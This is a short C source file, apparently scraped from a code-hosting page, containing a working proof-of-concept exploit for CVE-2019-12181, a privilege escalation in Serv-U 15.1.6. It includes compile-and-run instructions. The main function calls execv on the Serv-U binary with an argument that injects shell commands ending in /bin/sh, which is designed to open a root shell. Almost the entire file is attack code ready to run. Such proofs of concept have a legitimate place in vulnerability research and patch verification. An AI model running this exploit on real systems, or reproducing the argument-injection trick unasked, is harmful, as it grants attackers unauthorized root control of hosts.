24 lines
No EOL
588 B
C
24 lines
No EOL
588 B
C
/*
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CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation
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vulnerability found by:
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Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev
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to compile and run:
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gcc servu-pe-cve-2019-12181.c -o pe && ./pe
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <errno.h>
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int main()
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{
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char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
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int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
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// if execv is successful, we won't reach here
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printf("ret val: %d errno: %d\n", ret_val, errno);
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return errno;
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} |